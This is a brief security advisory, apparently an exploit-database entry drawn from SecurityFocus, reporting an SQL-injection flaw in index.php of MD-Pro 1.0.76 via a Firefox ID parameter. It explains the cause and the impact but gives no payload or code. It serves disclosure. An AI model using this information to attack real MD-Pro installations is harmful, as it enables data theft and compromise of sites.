MD-Pro 1.0.76 - 'index.php' Firefox ID SQL Injection

source: https://www.securityfocus.com/bid/25864/info

MD-Pro is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

MD-Pro 1.0.76 is vulnerable to this issue; other versions may also be affected.
